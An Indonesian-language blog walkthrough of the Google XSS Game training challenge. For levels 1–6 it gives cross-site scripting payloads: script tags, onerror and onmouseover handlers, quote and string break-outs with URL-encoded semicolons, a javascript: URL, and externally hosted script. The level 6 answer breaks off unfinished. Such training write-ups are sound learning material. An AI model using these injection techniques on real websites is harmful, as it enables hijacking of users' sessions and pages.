Yow halo exploiter, pada artikel ini saya akan menjelaskan / memberikan solusi untuk menyelesaikan Google XSS Challenge ( https://xss-game.appspot.com ). oke tanpa basa basi langsung saja saya jelaskan.
Level 1
Ini adalah yang paling jelas dan termudah. Cukup masukkan kode berikut dan kamu selesai:- <script>alert(1);</script>
Level 2
Karena <script> tidak berfungsi, kamu harus memikirkan tag lain untuk memicu eksekusi kode JavaScript. Hal pertama yang muncul dalam pikiran adalah menggunakan tag <a href=""> bersama dengan atribut onmouseover. Ini dia:- <a href="#" onmouseover="alert(1)">yay</a> atau bisa juga menggunakan
- <img src="#" onerror="javascript:alert(1)"/>
Level 3
Nah kali ini saya harus membaca beberapa kode untuk memahami logika aplikasi. Jika kamu beralih kode kamu akan melihat index.html:[...] function chooseTab(num) { // Dynamically load the appropriate image. var html = "Image " + parseInt(num) + "<br>"; html += "<img src='/static/level3/cloud" + num + ".jpg' />"; $('#tabContent').html(html); [...]Seperti yang kamu lihat parameter num digunakan untuk menghasilkan tag img. Idenya adalah untuk memecah tanda kutip dan memasukkan beberapa kode javascript licik. Sekali lagi saya telah menggunakan atribut onerror untuk menyisipkan JS. Masukkan ini ke bilah alamat URL dan kamu akan mendapatkan peringatan ():
- https://xss-game.appspot.com/level3/frame#3' onerror='alert(1)';
Level 4
Ini cukup sulit. Kali ini saya telah mengikuti petunjuk yang diberikan. Setelah konsol JS diaktifkan dan meminta https://xss-game.appspot.com/level4/frame?timer= 'menunjukkan kepada saya keluaran berikut:SyntaxError: unterminated string literal
startTimer(''');
Jelas sekali lagi ada cara untuk keluar dari fungsi dan menambahkan panggilan peringatan (). Saya sudah mencoba beberapa hal:- https://xss-game.appspot.com/level4/frame?timer=');
SyntaxError: unterminated string literal
startTimer('')');
- https://xss-game.appspot.com/level4/frame?timer=');
SyntaxError: unterminated string literal
startTimer('')');
Dan kemudian saya memutuskan untuk menggunakan beberapa pengkodean URL:% 3B mewakili titik koma.- https://xss-game.appspot.com/level4/frame?timer=')%3B
SyntaxError: unterminated string literal
startTimer('');');
Saya dapat mengakhiri panggilan dan memasukkan yang lain. Permintaan terakhir:- https://xss-game.appspot.com/level4/frame?timer=')%3Balert(1)%3Bvar b=('
startTimer('');alert(1);var b=('');
Level 5
[...]
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
[...]
[...] <br><br> <a href="{{ next }}">Next >></a> </body> [...]
- Go to https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
- Masukkan Email Kamu
- Click Next >>
- And Boom
Level 6
Kali ini saya harus mencari untuk meng-host kode JS saya. Jadi saya telah menggunakan pastebin.com untuk meng-host kode jahat saya. Selanjutnya saya melihat kode. Saat kamu dapat membaca tag skrip baru dibuat dan atribut src diatur dengan tepat. Satu-satunya hal yang menarik tentang hal itu: kamu tidak diizinkan memiliki URL yang berisi https ?:[...] if (url.match(/^https?:\/\//)) { setInnerText(document.getElementById("log"), "Sorry, cannot load a URL containing \"http\"."); return; } [...]
// Load this awesome gadget scriptEl.src = url;
ok itu saja yang bisa saya sampaikan
see you on next post